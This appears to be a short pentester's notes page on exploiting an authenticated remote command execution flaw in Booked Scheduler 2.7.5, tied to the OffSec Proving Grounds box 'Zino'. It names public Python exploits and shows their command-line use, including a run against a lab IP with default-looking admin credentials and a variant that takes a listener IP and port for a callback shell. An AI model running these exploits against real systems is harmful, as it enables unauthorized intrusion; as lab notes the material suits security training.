Booked

Booked scheduler web application exploitation

Booked is vulnerable to RCE

May require admin level user to exploit

Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated)Exploit Database

Usage : python exploit.py https://target:port username password

┌──(pikey㉿kali)-[~/Offsec/PG/Zino]
└─$ python3 exploit.py http://192.168.199.64:8003 admin adminadmin

This version of the exploit works well

GitHub - hacknotes/Booked-Scheduler-v2.7.5-Remote-Command-Execution: Booked Scheduler v2.7.5 (Authenticated) RCE exploit implemented in Python 3GitHub

 python3 bookedScheduler.py <target ip> <target port> <user> <password> <local ip> <local port>

Practice boxes

Offsec Proving Grounds - Zino